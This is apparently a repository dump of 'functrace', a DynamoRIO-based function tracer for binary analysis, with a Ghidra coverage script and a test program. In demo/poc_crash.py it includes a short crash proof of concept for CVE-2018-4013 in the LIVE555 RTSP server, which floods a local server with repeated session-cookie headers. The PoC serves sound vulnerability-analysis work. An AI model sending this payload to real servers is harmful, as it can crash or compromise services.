├── CMakeLists.txt ├── LICENSE ├── README.md ├── bb_getinfo.cpp ├── bb_getinfo.h ├── demo └── poc_crash.py ├── functrace.cpp ├── ghidra_script └── functrace_ghrida.java ├── images ├── CVE-2018-4013.gif └── functrace.gif ├── slides └── warcon_functrace.pdf ├── tests ├── Makefile └── simple_test.c └── utils.h /CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 2.6) 2 | project (functrace) 3 | 4 | find_package(DynamoRIO) 5 | add_library(functrace SHARED functrace.cpp bb_getinfo.cpp) 6 | configure_DynamoRIO_client(functrace) 7 | 8 | use_DynamoRIO_extension(functrace drmgr) 9 | use_DynamoRIO_extension(functrace drsyms) 10 | use_DynamoRIO_extension(functrace drwrap) 11 | 12 | if (NOT DynamoRIO_FOUND) 13 | message(FATAL_ERROR "DynamoRIO package required to build") 14 | endif(NOT DynamoRIO_FOUND) 15 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Andrea Sindoni 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # functrace - A function tracer 2 | 3 | *functrace* is a tool that helps to analyze a binary file with dynamic instrumentation using *DynamoRIO* (). 4 | 5 | These are some implemented features (based on DynamoRIO): 6 | 7 | - [ ] disassemble all the executed code 8 | - [ ] disassemble a specific function (dump if these are addresses) 9 | - [ ] get arguments of a specific function (dump if these are addresses) 10 | - [ ] get return value of a specific function (dump if this is an address) 11 | - [ ] monitors application signals 12 | - [ ] generate a report file 13 | - [ ] *ghidra*() coverage script (based on the functrace report file) 14 | 15 | ## Setup 16 | 17 | ```shell 18 | $ wget https://github.com/DynamoRIO/dynamorio/releases/download/release_7_0_0_rc1/DynamoRIO-Linux-7.0.0-RC1.tar.gz 19 | $ tar xvzf DynamoRIO-Linux-7.0.0-RC1.tar.gz 20 | ``` 21 | OR 22 | ```shell 23 | $ wget https://github.com/DynamoRIO/dynamorio/releases/download/cronbuild-7.91.18047/DynamoRIO-x86_64-Linux-7.91.18047-0.tar.gz 24 | $ tar xvzf DynamoRIO-x86_64-Linux-7.91.18047-0.tar.gz 25 | ``` 26 | You can also clone and compile directly DynamoRIO 27 | 28 | ```shell 29 | $ git clone https://github.com/invictus1306/functrace 30 | $ mkdir -p functrace/build 31 | $ cd functrace/build 32 | $ cmake .. -DDynamoRIO_DIR=/full_DR_path/cmake/ 33 | $ make -j4 34 | ``` 35 | ## Simple DEMO 36 | 37 | ![functrace](https://github.com/invictus1306/functrace/blob/master/images/functrace.gif) 38 | 39 | ## Using functrace 40 | 41 | ```shell 42 | $ drrun -c libfunctrace.so -report_file report -- target_program [args] 43 | ``` 44 | 45 | ### Options 46 | 47 | The following *[functrace]*(https://github.com/invictus1306/functrace) options are supported: 48 | 49 | ```latex 50 | -disassembly -> disassemble all the functions 51 | -disas_func function_name -> disassemble only the function function_name 52 | -wrap_function function_name -> wrap the function function_name 53 | -wrap_function_args num_args -> number of arguments of the wrapped function 54 | -cbr -> remove the bb from the cache (in case of conditional jump) 55 | -report_file file_name -> report file name (required) 56 | -verbose -> verbose 57 | ``` 58 | 59 | ### Simple usage 60 | 61 | #### Option *-verbose* 62 | ```shell 63 | $ drrun -c libfunctrace.so -report_file report -verbose -- target_program [args] 64 | ``` 65 | 66 | #### Option *-disassemby* 67 | ```shell 68 | $ drrun -c libfunctrace.so -report_file report -disassembly -- target_program [args] 69 | ``` 70 | 71 | #### Option *-disas_func* 72 | ```shell 73 | $ drrun -c libfunctrace.so -report_file report -disas_func name_function -- target_program [args] 74 | ``` 75 | 76 | #### Option *-wrap_function* and *-wrap_function_args* 77 | ```shell 78 | $ drrun -c libfunctrace.so -report_file report -wrap_function name_function -wrap_function_args num_args -- target_program [args] 79 | ``` 80 | 81 | #### Option *-cbr* 82 | ```shell 83 | $ drrun -c libfunctrace.so -report_file report -cbr -- target_program [args] 84 | ``` 85 | 86 | ### CVE-2018-4013 - Vulnerability Analysis 87 | 88 | A vulnerability on the [LIVE555 RTSP](http://www.live555.com/) server library. This is the [description](https://www.cvedetails.com/cve/CVE-2018-4013/). 89 | 90 | ![vulnanalysis](https://github.com/invictus1306/functrace/blob/master/images/CVE-2018-4013.gif) 91 | 92 | ## Working enviroment 93 | Tested on Ubuntu 16.04.5 LTS 64 bit 94 | 95 | ## Future features 96 | * Ghidra plugin 97 | * Visual setup interface 98 | * Store and compare different coverage analysis 99 | * Run DR directy from ghidra 100 | * Add more functionality to functrace 101 | * Support for Android 102 | -------------------------------------------------------------------------------- /bb_getinfo.cpp: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | #include "drsyms.h" 3 | #include "bb_getinfo.h" 4 | 5 | #include 6 | 7 | static drsym_info_t *syminfo; 8 | 9 | struct func_info { 10 | const char *name_function; 11 | app_pc start_addr; 12 | app_pc end_addr; 13 | app_pc pc; 14 | }; 15 | 16 | drsym_info_t* drsym_obj(const char *path) { 17 | drsym_info_t *drsym_o; 18 | drsym_o = (drsym_info_t *)malloc(sizeof(drsym_info_t)); 19 | if (drsym_o == NULL) 20 | return NULL; 21 | drsym_o->struct_size = sizeof(drsym_info_t); 22 | drsym_debug_kind_t kind; 23 | drsym_error_t symres = drsym_get_module_debug_kind(path, &kind); 24 | if (symres == DRSYM_SUCCESS) 25 | drsym_o->debug_kind = kind; 26 | drsym_o->name_size = LEN; 27 | drsym_o->file_size = LEN; 28 | drsym_o->file = (char *)malloc(LEN); 29 | drsym_o->name = (char *)malloc(LEN); 30 | return drsym_o; 31 | } 32 | 33 | 34 | void free_drsmy_obj(drsym_info_t *drsym_o) { 35 | if (drsym_o != NULL) { 36 | if (drsym_o->file != NULL) 37 | free(drsym_o->file); 38 | if (drsym_o->name != NULL) 39 | free(drsym_o->name); 40 | free(drsym_o); 41 | } 42 | } 43 | 44 | void free_drsmy() { 45 | free_drsmy_obj(syminfo); 46 | } 47 | 48 | drsym_error_t get_sym(app_pc pc, module_data_t *mod) { 49 | drsym_error_t symres = DRSYM_ERROR; 50 | syminfo = drsym_obj(mod->full_path); 51 | 52 | if (syminfo == NULL) 53 | return symres; 54 | 55 | size_t offset = pc - mod->start; 56 | syminfo->start_offs = 0; 57 | syminfo->end_offs = 0; 58 | symres = drsym_lookup_address(mod->full_path, offset, syminfo, DRSYM_DEMANGLE); 59 | return symres; 60 | 61 | } 62 | 63 | char *get_info(void *drcontext, app_pc pc, module_data_t *mod, app_pc last_instr, file_t fd) { 64 | drsym_error_t symres; 65 | struct func_info functions; 66 | char *ret_function; 67 | 68 | ret_function = (char *)malloc(LEN); 69 | 70 | if (ret_function == NULL) 71 | return NULL; 72 | 73 | memset(ret_function, 0, LEN); 74 | 75 | app_pc mod_base = mod->start; 76 | 77 | symres = get_sym(pc, mod); 78 | 79 | if (symres == DRSYM_ERROR) 80 | return NULL; 81 | 82 | functions.pc = pc; 83 | 84 | if (symres == DRSYM_SUCCESS || symres == DRSYM_ERROR_LINE_NOT_AVAILABLE) { 85 | functions.name_function = syminfo->name; 86 | functions.start_addr = syminfo->start_offs + mod_base; 87 | functions.end_addr = syminfo->end_offs + mod_base; 88 | dr_fprintf(fd, "[FUNC];" PFX ";" PFX ";" PFX ";%s", functions.start_addr, functions.end_addr, functions.pc, functions.name_function); 89 | 90 | memcpy(ret_function, functions.name_function, LEN); 91 | 92 | } else { 93 | app_pc first_bb = pc; 94 | dr_fprintf(fd, "[NOFUNC];" PFX ";" PFX ";" PFX ";None", first_bb, last_instr, pc); 95 | } 96 | 97 | dr_fprintf(fd, "\n"); 98 | return ret_function; 99 | 100 | } -------------------------------------------------------------------------------- /bb_getinfo.h: -------------------------------------------------------------------------------- 1 | #ifndef BB_GETINFO_H_ 2 | #define BB_GETINFO_H_ 3 | 4 | #define LEN 256 5 | 6 | drsym_error_t get_sym(app_pc pc, module_data_t *mod); 7 | char* get_info(void *drcontext, app_pc pc, module_data_t *mod, app_pc last_instr, file_t fd); 8 | void free_drsmy(); 9 | 10 | #endif -------------------------------------------------------------------------------- /demo/poc_crash.py: -------------------------------------------------------------------------------- 1 | from socket import * 2 | 3 | host = "127.0.0.1" 4 | port = 8000 5 | 6 | def run(): 7 | s = socket(AF_INET, SOCK_STREAM) 8 | s.connect((host, port)) 9 | payload = "x-sessioncookie: BBBB\r\n"*200 10 | header = " HTTP/\r\n" + payload + "Accept: AAAA\r\n\r\n" 11 | s.send(header) 12 | 13 | if __name__ == '__main__': 14 | run() 15 | -------------------------------------------------------------------------------- /functrace.cpp: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | #include "drmgr.h" 3 | #include "drsyms.h" 4 | #include "drwrap.h" 5 | #include "dr_defines.h" 6 | #include "bb_getinfo.h" 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | static void *mod_lock; 17 | static void *wrap_lock; 18 | static file_t fd; 19 | static size_t towrap = 0; 20 | 21 | typedef struct option_t { 22 | bool disassembly; 23 | bool verbose; 24 | bool disassembly_function; 25 | bool is_cbr; 26 | char function_name[LEN]; 27 | bool report_file; 28 | char report_file_name[LEN]; 29 | bool wrap_function; 30 | char wrap_function_name[LEN]; 31 | size_t wrap_function_args; 32 | } option_t; 33 | 34 | static option_t options; 35 | 36 | 37 | void dump_mem(app_pc arg, app_pc address){ 38 | char first[MAXIMUM_PATH] = {0}; 39 | size_t bytes_read = 0; 40 | 41 | dr_safe_read(arg, BUFFER_SIZE_BYTES(first), first, &bytes_read); 42 | if (bytes_read < BUFFER_SIZE_BYTES(bytes_read)) 43 | first[bytes_read] = '\0'; 44 | NULL_TERMINATE_BUFFER(first); 45 | 46 | if (bytes_read){ 47 | dr_fprintf(fd, "[DUMP];" PFX ";", address); 48 | for (int j=0; jhandle, NULL); 107 | while (dr_symbol_import_iterator_hasnext(imp_iter)) { 108 | dr_symbol_import_t *sym = dr_symbol_import_iterator_next(imp_iter); 109 | dr_fprintf(fd, "Name: %s\n", sym->name); 110 | } 111 | dr_symbol_import_iterator_stop(imp_iter); 112 | } 113 | 114 | static bool enumerate_sym(const char *name, size_t modoffs, void *data) { 115 | if (*name != 0) { 116 | if (options.verbose){ 117 | dr_fprintf(fd, "Offset: " PFX " Name: %s\n", modoffs, name); 118 | } 119 | if (!strcmp(name, options.wrap_function_name)) { 120 | towrap = modoffs; 121 | } 122 | } 123 | return true; 124 | } 125 | 126 | static void event_module_load(void *drcontext, const module_data_t *mod, bool loaded) { 127 | drsym_error_t symr; 128 | app_pc mod_base = mod->start; 129 | module_data_t *data = dr_get_main_module(); 130 | 131 | if (data == NULL) { 132 | dr_fprintf(fd, "[ERR];No main module found! \n"); 133 | return; 134 | } 135 | 136 | const char *module_name = mod->names.file_name; 137 | 138 | if (module_name == NULL) { 139 | module_name = dr_module_preferred_name(mod); 140 | } 141 | 142 | if (options.verbose) 143 | dr_fprintf(fd, "[MOD];%s;" PFX ";%s\n", module_name, mod_base, mod->full_path); 144 | 145 | if (mod_base != data->start) { 146 | dr_free_module_data(data); 147 | return; 148 | } 149 | 150 | if (options.verbose) { 151 | dr_fprintf(fd, "[IMPORTS]: \n"); 152 | iterate_imports(mod); 153 | dr_fprintf(fd, "[EXPORTS]: \n"); 154 | } 155 | 156 | symr = drsym_enumerate_symbols(mod->full_path, enumerate_sym, NULL, DRSYM_DEFAULT_FLAGS); 157 | if (symr != DRSYM_SUCCESS && options.verbose) 158 | dr_fprintf(fd, "[ERR];search / enum error %d\n", symr); 159 | 160 | if (options.wrap_function) { 161 | bool wrapped = false; 162 | app_pc to_wrap = mod_base + towrap; 163 | 164 | if (towrap != 0) { 165 | wrapped = drwrap_wrap(to_wrap, wrap_pre, wrap_post); 166 | DR_ASSERT(wrapped); 167 | } 168 | } 169 | 170 | dr_free_module_data(data); 171 | } 172 | 173 | static void cbr_func(app_pc src, app_pc targ) { 174 | dr_mcontext_t mcontext = {sizeof(mcontext),DR_MC_ALL,}; 175 | void *drcontext = dr_get_current_drcontext(); 176 | 177 | dr_flush_region((app_pc)src, (size_t)targ - (size_t)src); 178 | dr_get_mcontext(drcontext, &mcontext); 179 | mcontext.pc = (app_pc)targ; 180 | dr_redirect_execution(&mcontext); 181 | } 182 | 183 | static dr_emit_flags_t event_bb_analysis(void *drcontext, void *tag, instrlist_t *bb, bool for_trace, bool translating, OUT void **user_data) { 184 | instr_t *instr; 185 | instr_t *last; 186 | module_data_t *data; 187 | module_data_t *mod; 188 | char *ret_function; 189 | 190 | drsym_error_t symres; 191 | 192 | instr = instrlist_first_app(bb); 193 | last = instrlist_last_app(bb); 194 | 195 | if (instr == NULL || last == NULL) 196 | return DR_EMIT_DEFAULT; 197 | 198 | app_pc pc = instr_get_app_pc(instr); 199 | app_pc last_instr = instr_get_app_pc(last); 200 | app_pc next_instr = (app_pc)decode_next_pc(drcontext, (byte *)pc); 201 | 202 | if (pc == NULL || last_instr == NULL) 203 | return DR_EMIT_DEFAULT; 204 | 205 | mod = dr_lookup_module(pc); 206 | 207 | if (mod == NULL) 208 | return DR_EMIT_DEFAULT; 209 | 210 | app_pc mod_base = mod->start; 211 | 212 | data = dr_get_main_module(); 213 | 214 | if (data == NULL) 215 | return DR_EMIT_DEFAULT; 216 | 217 | if (mod_base != data->start) 218 | return DR_EMIT_DEFAULT; 219 | 220 | if (options.is_cbr) { 221 | if (instr_is_cbr(last)) { 222 | dr_mutex_lock(mod_lock); 223 | 224 | app_pc next_instr = (app_pc)decode_next_pc(drcontext, (byte *)last_instr); 225 | 226 | ret_function = get_info(drcontext, pc, mod, last_instr, fd); 227 | 228 | if (ret_function == NULL) 229 | return DR_EMIT_DEFAULT; 230 | 231 | if (options.disassembly && !options.disassembly_function) 232 | instrlist_disassemble(drcontext, (app_pc)tag, bb, fd); 233 | else if ((!options.disassembly && options.disassembly_function) && !strcmp(options.function_name, ret_function)) 234 | instrlist_disassemble(drcontext, (app_pc)tag, bb, fd); 235 | 236 | dr_insert_clean_call(drcontext, bb, NULL, 237 | (void*)cbr_func, 238 | false, 239 | 2, 240 | OPND_CREATE_INTPTR(pc), 241 | OPND_CREATE_INTPTR(next_instr)); 242 | 243 | free(ret_function); 244 | dr_free_module_data(mod); 245 | dr_free_module_data(data); 246 | 247 | dr_mutex_unlock(mod_lock); 248 | 249 | return DR_EMIT_STORE_TRANSLATIONS; 250 | } 251 | } 252 | 253 | dr_mutex_lock(mod_lock); 254 | 255 | ret_function = get_info(drcontext, pc, mod, last_instr, fd); 256 | if (ret_function == NULL) 257 | return DR_EMIT_DEFAULT; 258 | 259 | if (options.disassembly && !options.disassembly_function) 260 | instrlist_disassemble(drcontext, (app_pc)tag, bb, fd); 261 | else if ((!options.disassembly && options.disassembly_function) && !strcmp(options.function_name, ret_function)) 262 | instrlist_disassemble(drcontext, (app_pc)tag, bb, fd); 263 | 264 | free(ret_function); 265 | dr_free_module_data(mod); 266 | dr_free_module_data(data); 267 | 268 | dr_mutex_unlock(mod_lock); 269 | 270 | return DR_EMIT_DEFAULT; 271 | } 272 | 273 | static dr_signal_action_t event_signal(void *drcontext, dr_siginfo_t *info) { 274 | if (info->sig == SIGTERM) { 275 | return DR_SIGNAL_SUPPRESS; 276 | } else if (info->sig == SIGSEGV || info->sig == SIGBUS || info->sig == SIGABRT) { 277 | dr_fprintf(fd, "[CRASH];%d;%s;" PFX "\n", info->sig, strsignal(info->sig), info->mcontext->pc); 278 | } 279 | 280 | return DR_SIGNAL_DELIVER; 281 | } 282 | 283 | static void event_exit(void) { 284 | dr_mutex_destroy(mod_lock); 285 | dr_mutex_destroy(wrap_lock); 286 | 287 | free_drsmy(); 288 | 289 | dr_close_file(fd); 290 | 291 | drmgr_exit(); 292 | drsym_exit(); 293 | drwrap_exit(); 294 | } 295 | 296 | static void usage() { 297 | dr_printf(" -disassembly\t\t\t\t\t disassemble all the functions\n"); 298 | dr_printf(" -disas_func function_name\t\t\t disassemble only the function function_name\n"); 299 | dr_printf(" -wrap_function function_name\t\t\t wrap the function function_name\n"); 300 | dr_printf(" -wrap_function_args num_args\t\t\t number of arguments of the wrapped function\n"); 301 | dr_printf(" -cbr\t\t\t\t\t\t remove the bb from the cache (in case of conditional jump)\n"); 302 | dr_printf(" -report_file file_name\t\t\t report file name\n"); 303 | dr_printf(" -verbose\t\t\t\t\t verbose true\n"); 304 | } 305 | 306 | static void options_init(int argc, const char *argv[]) { 307 | size_t i; 308 | const char *disassembly; 309 | const char *elem; 310 | 311 | if (argc < 2) { 312 | dr_printf("Invalid options!\n"); 313 | usage(); 314 | dr_abort(); 315 | } 316 | 317 | options.disassembly = false; 318 | options.verbose = false; 319 | options.disassembly_function = false; 320 | options.report_file = false; 321 | options.wrap_function = false; 322 | options.is_cbr = false; 323 | options.wrap_function_args = 0; 324 | 325 | for (i = 1; i < argc; i++) { 326 | elem = argv[i]; 327 | if (strcmp(elem, "-disassembly") == 0) 328 | options.disassembly = true; 329 | else if (strcmp(elem, "-verbose") == 0) 330 | options.verbose = true; 331 | else if (strcmp(elem, "-disas_func") == 0){ 332 | USAGE_CHECK((i + 1) < argc, "missing disassembly function"); 333 | elem = argv[++i]; 334 | if (strlen(elem) < LEN) { 335 | options.disassembly_function = true; 336 | memcpy(options.function_name, elem, LEN); 337 | } 338 | } 339 | else if (strcmp(elem, "-report_file") == 0){ 340 | USAGE_CHECK((i + 1) < argc, "missing report file"); 341 | elem = argv[++i]; 342 | if (strlen(elem) < LEN) { 343 | options.report_file = true; 344 | memcpy(options.report_file_name, elem, LEN); 345 | } 346 | } 347 | else if (strcmp(elem, "-wrap_function") == 0){ 348 | USAGE_CHECK((i + 1) < argc, "missing function to wrap"); 349 | elem = argv[++i]; 350 | if (strlen(elem) < LEN) { 351 | options.wrap_function = true; 352 | memcpy(options.wrap_function_name, elem, LEN); 353 | } 354 | } 355 | else if (strcmp(elem, "-wrap_function_args") == 0){ 356 | USAGE_CHECK((i + 1) < argc, "missing function arguments number"); 357 | elem = argv[++i]; 358 | if (options.wrap_function){ 359 | options.wrap_function_args = strtoul(elem, NULL, 0); 360 | } else { 361 | dr_printf("missing function to wrap!\n"); 362 | dr_abort(); 363 | } 364 | } 365 | else if (strcmp(elem, "-cbr") == 0) { 366 | options.is_cbr = true; 367 | } else { 368 | dr_printf("Invalid option %s \n", elem); 369 | dr_abort(); 370 | } 371 | } 372 | } 373 | 374 | DR_EXPORT void dr_client_main(client_id_t id, int argc, const char *argv[]) { 375 | dr_set_client_name("functrace", "@invictus1306"); 376 | 377 | options_init(argc, argv); 378 | 379 | drmgr_init(); 380 | drsym_init(0); 381 | drwrap_init(); 382 | drmgr_register_signal_event(event_signal); 383 | 384 | disassemble_set_syntax(DR_DISASM_INTEL); 385 | 386 | mod_lock = dr_mutex_create(); 387 | wrap_lock = dr_mutex_create(); 388 | 389 | if (!options.report_file) { 390 | dr_printf("The report file name is required!\n"); 391 | dr_abort(); 392 | } 393 | 394 | fd = dr_open_file(options.report_file_name, DR_FILE_WRITE_OVERWRITE); 395 | if (fd == INVALID_FILE) { 396 | dr_printf("Unable to open log file %s\n", options.report_file_name); 397 | dr_abort(); 398 | } 399 | 400 | dr_register_exit_event(event_exit); 401 | drmgr_register_module_load_event(event_module_load); 402 | drmgr_register_bb_instrumentation_event(event_bb_analysis, NULL, NULL); 403 | } -------------------------------------------------------------------------------- /ghidra_script/functrace_ghrida.java: -------------------------------------------------------------------------------- 1 | //ghidra coverage script (based on functrace) 2 | //@author Andrea Sindoni @invictus1306 3 | //@category _NEW_ 4 | //@keybinding 5 | //@menupath 6 | //@toolbar 7 | 8 | import java.awt.Color; 9 | import java.io.BufferedReader; 10 | import java.io.File; 11 | import java.io.FileNotFoundException; 12 | import java.io.FileReader; 13 | import java.io.IOException; 14 | import java.util.ArrayList; 15 | 16 | import ghidra.app.script.GhidraScript; 17 | import ghidra.framework.model.DomainFolder; 18 | import ghidra.framework.model.Project; 19 | import ghidra.framework.model.ProjectData; 20 | import ghidra.framework.plugintool.PluginTool; 21 | import ghidra.program.model.util.*; 22 | import ghidra.program.model.reloc.*; 23 | import ghidra.program.model.data.*; 24 | import ghidra.program.model.block.*; 25 | import ghidra.program.model.symbol.*; 26 | import ghidra.program.model.scalar.*; 27 | import ghidra.program.model.mem.*; 28 | import ghidra.program.model.listing.*; 29 | import ghidra.program.model.lang.*; 30 | import ghidra.program.model.pcode.*; 31 | import ghidra.program.model.address.*; 32 | 33 | public class functrace extends GhidraScript { 34 | private File report_file; 35 | private String comment_str = null; 36 | private ArrayList pc_list = new ArrayList(); 37 | 38 | 39 | public void run() throws Exception { 40 | println("A Ghidra coverage script (based on functrace generated report) \n" + 41 | "functrace - Andrea Sindoni (@invictus1306)" + 42 | "\n"); 43 | 44 | clearBackgroundColor(currentProgram.getMemory().getAllInitializedAddressSet()); 45 | 46 | report_file = askFile("Please select the report file to analyze", "Load file"); 47 | 48 | read_file(report_file.getAbsolutePath()); 49 | } 50 | 51 | private void read_file(String file) { 52 | BufferedReader reader = null; 53 | try { 54 | reader = new BufferedReader(new FileReader(file)); 55 | String line = reader.readLine(); 56 | while (line != null) { 57 | parse_line(line, reader); 58 | line = reader.readLine(); 59 | } 60 | reader.close(); 61 | } catch (FileNotFoundException e) { 62 | e.printStackTrace(); 63 | } catch (IOException e) { 64 | e.printStackTrace(); 65 | } catch (AddressFormatException e) { 66 | e.printStackTrace(); 67 | } finally { 68 | if (reader != null) { 69 | try { 70 | reader.close(); 71 | } catch (IOException e) { 72 | e.printStackTrace(); 73 | } 74 | } 75 | } 76 | } 77 | 78 | private void parse_line(String line, BufferedReader reader) throws AddressFormatException { 79 | try { 80 | String[] split_line = line.split(";"); 81 | 82 | if (split_line[0].contains("FUNC")) { 83 | String current_pc = split_line[3]; 84 | pc_list.add(current_pc); 85 | coverage_info(current_pc, null); 86 | } else if (split_line[0].contains("ARG")) { 87 | comment_str = ""; 88 | int num_args = Integer.parseUnsignedInt(split_line[4]); 89 | for (int k = 0; k < num_args; k++) { 90 | String arg_num = split_line[3]; 91 | String value = split_line[5]; 92 | comment_str += "Argument " + arg_num + " : " + value + "\n"; 93 | 94 | split_line = inc_line("ARG", reader, arg_num); 95 | } 96 | } else if (split_line[0].contains("RET")) { 97 | String address = split_line[2]; 98 | String value = split_line[3]; 99 | comment_str += "retrun value is " + value + "\n"; 100 | inc_line("RET", reader, null); 101 | add_comment(address); 102 | } else if (split_line[0].contains("CRASH")) { 103 | boolean is_abort_signal = false; 104 | String signal_number = split_line[1]; 105 | String signal_desc = split_line[2]; 106 | String pc = split_line[3]; 107 | if (6 == Integer.parseInt(signal_number)) { 108 | is_abort_signal = true; 109 | int size = pc_list.size(); 110 | pc = pc_list.get(size -3); 111 | } 112 | if (is_abort_signal) { 113 | comment_str = "CRASH with SIGABRT " + pc + " signal: " + signal_number + "(" + signal_desc + ")" + "\n"; 114 | } else { 115 | comment_str = "CRASH at " + pc + " signal: " + signal_number + "(" + signal_desc + ")" + "\n"; 116 | } 117 | 118 | add_comment(pc); 119 | coverage_info(pc, "CRASH"); 120 | } 121 | }catch(NumberFormatException e){ 122 | e.printStackTrace(); 123 | } 124 | } 125 | 126 | private String[] inc_line(String type, BufferedReader reader, String arg_num){ 127 | String line = null; 128 | String[] split_line; 129 | 130 | try { 131 | line = reader.readLine(); 132 | } catch (IOException e) { 133 | e.printStackTrace(); 134 | } 135 | if (line == null) 136 | return null; 137 | 138 | split_line = line.split(";"); 139 | int check_line_size = split_line.length; 140 | 141 | if (split_line[0].contains("DUMP")) { 142 | String dump = "Nothing to dump"; 143 | if (check_line_size == 3) { 144 | dump = split_line[2]; 145 | } 146 | 147 | if (type == "ARG") { 148 | comment_str += "Argument " + arg_num + " is an address, dump: " + dump + "\n"; 149 | try { 150 | line = reader.readLine(); 151 | } catch (IOException e) { 152 | e.printStackTrace(); 153 | } 154 | if (line == null) 155 | return null; 156 | split_line = line.split(";"); 157 | } else if (type == "RET") { 158 | comment_str += "The retun valune is an address, dump: " + dump + "\n"; 159 | } 160 | } 161 | return split_line; 162 | } 163 | 164 | private void coverage_info(String current_pc, String crash) throws AddressFormatException { 165 | AddressSpace defaultAS = currentProgram.getAddressFactory().getDefaultAddressSpace(); 166 | Address pc_address = defaultAS.getAddress(current_pc); 167 | 168 | Instruction instruction = getInstructionAt(pc_address); 169 | 170 | while (true) { 171 | 172 | if (monitor.isCancelled()) { 173 | break; 174 | } 175 | 176 | if (instruction == null) { 177 | break; 178 | } 179 | 180 | Address curAddr = instruction.getAddress(); 181 | 182 | if (crash == "CRASH") { 183 | setBackgroundColor(curAddr, Color.ORANGE); 184 | break; 185 | } 186 | 187 | setBackgroundColor(curAddr, Color.GREEN); 188 | 189 | if (!instruction.isFallthrough()) { 190 | setBackgroundColor(curAddr, Color.GREEN); 191 | break; 192 | } 193 | 194 | instruction = getInstructionAfter(instruction); 195 | } 196 | } 197 | 198 | private void add_comment(String address) throws AddressFormatException { 199 | AddressSpace defaultAS = currentProgram.getAddressFactory().getDefaultAddressSpace(); 200 | Address sym_address = defaultAS.getAddress(address); 201 | Listing listing = currentProgram.getListing(); 202 | CodeUnit codeUnit = listing.getCodeUnitAt(sym_address); 203 | 204 | if (codeUnit != null) { 205 | codeUnit.setComment(CodeUnit.PLATE_COMMENT, comment_str); 206 | } else { 207 | println(comment_str); 208 | } 209 | 210 | comment_str = null; 211 | } 212 | } 213 | -------------------------------------------------------------------------------- /images/CVE-2018-4013.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/invictus1306/functrace/24479f1adb1ce9809aadd59dde4f38c85b79708a/images/CVE-2018-4013.gif -------------------------------------------------------------------------------- /images/functrace.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/invictus1306/functrace/24479f1adb1ce9809aadd59dde4f38c85b79708a/images/functrace.gif -------------------------------------------------------------------------------- /slides/warcon_functrace.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/invictus1306/functrace/24479f1adb1ce9809aadd59dde4f38c85b79708a/slides/warcon_functrace.pdf -------------------------------------------------------------------------------- /tests/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -g -Wall 3 | 4 | TARGET = simple_test 5 | 6 | all: $(TARGET) 7 | 8 | $(TARGET): $(TARGET).c 9 | $(CC) $(CFLAGS) -o $(TARGET) $(TARGET).c 10 | 11 | clean: 12 | rm $(TARGET) 13 | 14 | -------------------------------------------------------------------------------- /tests/simple_test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define MSG_LEN 16 6 | 7 | struct data{ 8 | int a; 9 | char c; 10 | }; 11 | 12 | char msgSecret[] = "This is the secret message"; 13 | char msgDefault[] = "This is the default message"; 14 | 15 | char *print_secr(char *msg_sec, char *message, int num) { 16 | char *ret_secr = malloc (sizeof(char) * 4); 17 | memcpy(ret_secr, "GOOD", 4); 18 | 19 | printf("Congrats! %s. Your input is %s \n", msg_sec, message); 20 | 21 | return ret_secr; 22 | } 23 | 24 | int print_default() { 25 | printf("Nothing will happen today! %s\n", msgDefault); 26 | return 0; 27 | } 28 | 29 | void crash_me() { 30 | struct data *data_pointer; 31 | data_pointer = (struct data *)malloc(sizeof(struct data)); 32 | data_pointer->a = 5; 33 | data_pointer = NULL; 34 | data_pointer->a = 1; 35 | } 36 | 37 | int main(int argc, char **argv) { 38 | char message[MSG_LEN]; 39 | char *ret_secr = NULL; 40 | 41 | printf("Please enter a message: \n"); 42 | fgets(message, sizeof(message), stdin); 43 | 44 | int local_len = strlen(message); 45 | message[local_len-1] = '\0'; 46 | 47 | if (!strcmp(message, "coverage")) { 48 | ret_secr = print_secr(msgSecret, message, 2); 49 | printf("Very %s!\n", ret_secr); 50 | } else if (!strcmp(message, "crash")) { 51 | crash_me(); 52 | } else { 53 | print_default(); 54 | } 55 | 56 | return 0; 57 | } 58 | -------------------------------------------------------------------------------- /utils.h: -------------------------------------------------------------------------------- 1 | /* *************************************************************************** 2 | * Copyright (c) 2012-2013 Google, Inc. All rights reserved. 3 | * ***************************************************************************/ 4 | 5 | /* 6 | * Redistribution and use in source and binary forms, with or without 7 | * modification, are permitted provided that the following conditions are met: 8 | * 9 | * * Redistributions of source code must retain the above copyright notice, 10 | * this list of conditions and the following disclaimer. 11 | * 12 | * * Redistributions in binary form must reproduce the above copyright notice, 13 | * this list of conditions and the following disclaimer in the documentation 14 | * and/or other materials provided with the distribution. 15 | * 16 | * * Neither the name of Google, Inc. nor the names of its contributors may be 17 | * used to endorse or promote products derived from this software without 18 | * specific prior written permission. 19 | * 20 | * THIS SOFTWARE IS PROVIDED BY THE 